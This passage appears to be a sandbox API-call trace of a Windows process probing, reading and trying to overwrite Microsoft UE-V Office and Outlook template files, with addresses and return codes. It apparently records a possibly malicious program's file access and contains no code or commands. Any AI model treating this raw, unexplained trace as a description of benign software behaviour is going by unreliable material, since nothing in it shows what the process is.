lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml", lpFilePart=0x0) returned 0x4e [0078.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0078.717] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0078.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0078.719] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml", lpFilePart=0x0) returned 0x4e [0078.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0078.719] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml"), fInfoLevelId=0x0, lpFileInformation=0x329b2d8 | out: lpFileInformation=0x329b2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368)) returned 1 [0078.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0078.719] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml", lpFilePart=0x0) returned 0x4e [0078.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0078.719] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0078.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0078.721] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml", lpFilePart=0x0) returned 0x51 [0078.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0078.721] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml"), fInfoLevelId=0x0, lpFileInformation=0x329baf8 | out: lpFileInformation=0x329baf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964)) returned 1 [0078.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0078.721] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml", lpFilePart=0x0) returned 0x51 [0078.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0078.721] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0078.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0078.724] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml", lpFilePart=0x0) returned 0x51 [0078.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0078.724] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml"), fInfoLevelId=0x0, lpFileInformation=0x329c340 | out: lpFileInformation=0x329c340*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964)) returned 1 [0078.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0078.724] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml", lpFilePart=0x0) returned 0x51 [0078.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0078.724] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0078.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0078.727] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml", lpFilePart=0x0) returned 0x48 [0078.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0078.727] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml"), fInfoLevelId=0x0, lpFileInformation=0x329cb88 | out: lpFileInformation=0x329cb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f)) returned 1 [0078.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0078.727] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml", lpFilePart=0x0) returned 0x48 [0078.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0078.727] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0078.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0078.729] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml", lpFilePart=0x0) returned 0x48 [0078.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0078.729] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml"), fInfoLevelId=0x0, lpFileInformation=0x329d380 | out: lpFileInformation=0x329d380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f)) returned 1 [0078.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0078.729] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml", lpFilePart=0x0) returned 0x48 [0078.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0078.729] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0078.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0078.733] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml", lpFilePart=0x0) returned 0x4e [0078.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0078.733] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml"), fInfoLevelId=0x0, lpFileInformation=0x329db78 | out: lpFileInformation=0x329db78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368)) returned 1 [0078.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0078.733] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml", lpFilePart=0x0) returned 0x4e [0078.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0078.734] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0078.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0078.736] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml", lpFilePart=0x0) returned 0x4e [0078.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0078.736] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml"), fInfoLevelId=0x0, lpFileInformation=0x329e398 | out: lpFileInformation=0x329e398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368)) returned 1 [0078.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0078.737] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml", lpFilePart=0x0) returned 0x4e [0078.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0078.737] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0078.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0078.740] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml", lpFilePart=0x0) returned 0x48 [0078.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0078.740] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml"), fInfoLevelId=0x0, lpFileInformation=0x329ebb8 | out: lpFileInformation=0x329ebb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c3)) returned 1 [0078.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0078.740] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml", lpFilePart=0x0) returned 0x48 [0078.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0078.740] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0078.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0078.743] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml", lpFilePart=0x0) returned 0x48 [0078.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0078.743] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml"), fInfoLevelId=0x0, lpFileInformation=0x329f3b0 | out: lpFileInformation=0x329f3b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c6)) returned 1 [0078.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0078.743] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml", lpFilePart=0x0) returned 0x48 [0078.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0078.743] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0078.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0078.746] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", lpFilePart=0x0) returned 0x4b [0078.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0078.746] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml"), fInfoLevelId=0x0, lpFileInformation=0x329fba8 | out: lpFileInformation=0x329fba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506)) returned 1 [0078.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0078.746] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", lpFilePart=0x0) returned 0x4b [0078.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0078.746] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0078.747] GetFileType (hFile=0x778) returned 0x1 [0078.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0078.747] GetFileType (hFile=0x778) returned 0x1 [0078.747] GetFileSize (in: hFile=0x778, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x506 [0078.747] ReadFile (in: hFile=0x778, lpBuffer=0x32a03a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x32a03a8*, lpNumberOfBytesRead=0x1f9edc08*=0x506, lpOverlapped=0x0) returned 1 [0078.805] CloseHandle (hObject=0x778) returned 1 [0079.002] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml", lpFilePart=0x0) returned 0x4b [0079.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0079.002] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin32.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0079.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea520) returned 1 [0079.004] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", lpFilePart=0x0) returned 0x4b [0079.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0079.004] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml"), fInfoLevelId=0x0, lpFileInformation=0x32a91a8 | out: lpFileInformation=0x32a91a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506)) returned 1 [0079.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0079.244] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", lpFilePart=0x0) returned 0x4b [0079.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0079.245] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x790 [0079.245] GetFileType (hFile=0x790) returned 0x1 [0079.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0079.245] GetFileType (hFile=0x790) returned 0x1 [0079.245] GetFileSize (in: hFile=0x790, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x506 [0079.245] ReadFile (in: hFile=0x790, lpBuffer=0x320a2b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x320a2b8*, lpNumberOfBytesRead=0x1f9edc08*=0x506, lpOverlapped=0x0) returned 1 [0079.246] CloseHandle (hObject=0x790) returned 1 [0079.280] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", nBufferLength=0x105, lpBuffer=0x1f9ed610, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml", lpFilePart=0x0) returned 0x4b [0079.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0079.281] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOutlook2013CAWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoutlook2013cawin64.xml"), 